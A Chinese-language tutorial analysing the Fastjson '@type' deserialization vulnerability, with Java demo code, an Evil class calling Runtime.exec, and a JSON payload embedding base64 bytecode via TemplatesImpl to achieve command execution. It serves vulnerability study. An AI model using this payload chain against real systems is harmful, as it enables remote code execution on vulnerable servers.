親手帶你解決Debug Fastjson的安全漏洞
簡介
Java處理JSON資料有三個比較流行的類庫,gson(google維護)、jackson、以及今天的主角fastjson,fastjson是阿里巴巴一個開源的json相關的java library,地址在這裡,
https://github.com/alibaba/fastjson,
Fastjson可以將java的物件轉換成json的形式,也可以用來將json轉換成java物件,效率較高,被廣泛的用在web服務以及android上,它的JSONString()方法可以將java的物件轉換成json格式,同樣通過parseObject方法可以將json資料轉換成java的物件。
大概在4月18號的時候,fastjson進行了一次安全更新,通告在這裡
https://github.com/alibaba/fastjson/wiki/security_update_20170315,
當時對這也不熟悉,斷斷續續看了幾天也沒什麼收穫(主要是因為太菜了TAT)。最近有人出了poc以及分析的文章就跟進了一下,漏洞還是挺有意思。
fastjson簡單使用介紹
工欲善其事,必先利其器,要想研究這個漏洞,就要先要了解這個fastjson是幹什麼的。自己研究了一下這個類庫。User.java code如下:
testFastJson.java code如下:
packagefastjsonVul.fastjsonTest; importjava.util.HashMap; importjava.util.Map; importcom.alibaba.fastjson.JSON; importcom.alibaba.fastjson.parser.Feature; importcom.alibaba.fastjson.serializer.SerializerFeature; importfastjsonVul.fastjsonTest.User; publicclasstestFastJson{ publicstaticvoidmain(String[]args){ Map<String,Object>map=newHashMap<String,Object>(); map.put("key1","One"); map.put("key2","Two"); StringmapJson=JSON.toJSONString(map); System.out.println(mapJson); Useruser1=newUser(); user1.setUsername("果汁簡歷"); user1.setSex("male"); System.out.println("objname:"+user1.getClass().getName()); //序列化 StringserializedStr=JSON.toJSONString(user1); System.out.println("serializedStr="+serializedStr); StringserializedStr1=JSON.toJSONString(user1,SerializerFeature.WriteClassName); System.out.println("serializedStr1="+serializedStr1); //通過parse方法進行反序列化 Useruser2=(User)JSON.parse(serializedStr1); System.out.println(user2.getUsername()); System.out.println(); //通過parseObject方法進行反序列化通過這種方法返回的是一個JSONObject Objectobj=JSON.parseObject(serializedStr1); System.out.println(obj); System.out.println("objname:"+obj.getClass().getName()+"\n"); //通過這種方式返回的是一個相應的類物件 Objectobj1=JSON.parseObject(serializedStr1,Object.class); System.out.println(obj1); System.out.println("obj1name:"+obj1.getClass().getName()); } }
輸出是這樣
{"key1":"One","key2":"Two"}
objname:fastjsonVul.fastjsonTest.User
serializedStr={"Sex":"male","Username":"果汁簡歷","sex":"male","username":"果汁簡歷"}
serializedStr1={"@type":"fastjsonVul.fastjsonTest.User","Sex":"male","Username":"xiaoming","username":"果汁簡歷"}
果汁簡歷
{"Username":"果汁簡歷","username":"果汁簡歷"}objname:com.alibaba.fastjson.JSONObject
fastjsonVul.fastjsonTest.User@18769467
obj1name:fastjsonVul.fastjsonTest.User
Fastjson漏洞詳細
fastjson漏洞出現的地方也就是JSON.parseObject這個方法上面。
在最開始的時候,只能通過類初始化時候的建構函式或者變數的setter方法執行惡意程式碼,像是這樣
Evil.java
importjava.io.IOException; publicclassEvil{ publicStringgetName(){ System.out.println("iamgetterName!"); returnname; } publicvoidsetName(Stringname){ System.out.println("iamsetterName!"); this.name=name; } publicStringname; publicintgetAge(){ System.out.println("iamgetterAge!"); returnage; } publicvoidsetAge(intage){ System.out.println("iamsetterAge!"); this.age=age; } privateintage; publicEvil()throwsIOException{ System.out.println("iamconstructor!"); } }
importcom.alibaba.fastjson.JSON; importjava.io.*; publicclassApp{ publicstaticvoidreadToBuffer(StringBufferbuffer,StringfilePath)throwsIOException{ InputStreamis=newFileInputStream(filePath); Stringline;//用來儲存每行讀取的內容 BufferedReaderreader=newBufferedReader(newInputStreamReader(is)); line=reader.readLine();//讀取第一行 while(line!=null){//如果line為空說明讀完了 buffer.append(line);//將讀到的內容新增到buffer中 buffer.append("\n");//新增換行符 line=reader.readLine();//讀取下一行 } reader.close(); is.close(); } publicstaticvoidmain(String[]args)throwsIOException { StringBufferBuffer=newStringBuffer(); App.readToBuffer(Buffer,"/Users/m0rk/vul/fastjson/src/demo.json"); Objectobj=JSON.parseObject(Buffer.toString()); } }
demo.json的內容如下
{ "@type" : "Evil1","name" : "M0rk","age" : "20"}
可以看到通過@type"特性",就執行了建構函式以及私有和公有成員變數的getter和setter方法。但是這貌似還並沒有達到我們想要的結果,因為上面的情況是需要我們能夠控制Evil這個類(一般是通過檔案寫入),目前來看不太現實。
還有一種方法就是將編譯好的.class或者.jar檔案轉換成byte[],然後通過defineClass載入byte[]返回class物件。
安全研究人員發現了這個類
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
這個類存在如下的呼叫鏈可載入byte[]完成.class檔案中物件的例項化,注意MailCiousClass需要繼承AbstractTranslet(在defineTransle方法中存在一個校驗)。更多這個呼叫鏈參考連結
https://gist.github.com/frohoff/24af7913611f8406eaf3
如上圖所示的攻擊呼叫棧資訊,可以看到和TemplatesImpl呼叫鏈完全吻合,最終還是通過defineclass載入了bytecodes[]導致了命令執行。
Evil.java
importcom.sun.org.apache.xalan.internal.xsltc.DOM; importcom.sun.org.apache.xalan.internal.xsltc.TransletException; importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; importcom.sun.org.apache.xml.internal.dtm.DTMAxisIterator; importcom.sun.org.apache.xml.internal.serializer.SerializationHandler; importjava.io.IOException; publicclassEvilextendsAbstractTranslet{ publicEvil()throwsIOException{ Runtime.getRuntime().exec("open/Applications/Calculator.app"); } @Override publicvoidtransform(DOMdocument,DTMAxisIteratoriterator,SerializationHandlerhandler){ } publicvoidtransform(DOMdocument,com.sun.org.apache.xml.internal.serializer.SerializationHandler[]handlers)throwsTransletException{ } }
importcom.alibaba.fastjson.JSON; importcom.alibaba.fastjson.parser.Feature; importorg.apache.commons.io.IOUtils; importorg.apache.commons.codec.binary.Base64; importjava.io.*; importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; publicclasspoc{ publicstaticStringreadClass(Stringcls){ ByteArrayOutputStreambos=newByteArrayOutputStream(); try{ IOUtils.copy(newFileInputStream(newFile(cls)),bos); }catch(IOExceptione){ e.printStackTrace(); } returnBase64.encodeBase64String(bos.toByteArray()); } publicstaticvoidmain(Stringargs[])throwsException{ //finalStringevilClassPath="/Users/m0rk/vul/fastjson/src/Evil.class"; //StringevilCode=readClass(evilClassPath); //System.out.println(evilCode); StringBufferBuffer=newStringBuffer(); App.readToBuffer(Buffer,"/Users/m0rk/vul/fastjson/src/evil.json"); Objectobj=JSON.parseObject(Buffer.toString(),Object.class,Feature.SupportNonPublicField); } }
evil.json
{ "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAGwEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAHAwAHQAeAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAfACABAARFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAACQAEAAoADQALAAsAAAAEAAEADAABAA0ADgABAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgABAA0ADwACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABABAAAQARAAAAAgAS"],"_name":"M0rk","_tfactory":{},"outputProperties":{} }
總結
關於這個漏洞的構造還是挺精巧,漏洞的利用條件比較苛刻,如要能夠利用,開發人員對json的處理函式需要是 JSON.parseObject(input,
Feature.SupportNonPublicField);
而大部分的開發可能用用JSON.parse(input)就了事兒了,同時使用了parseObject和
Feature.SupportNonPublicField設定的估計不多。所以說實際環境中挖掘fastjson的這個漏洞應該是可遇不可求。
到此這篇關於親手帶你解決Debug Fastjson的安全漏洞的文章就介紹到這了,更多相關Debug Fastjson安全漏洞內容請搜尋我們以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援我們!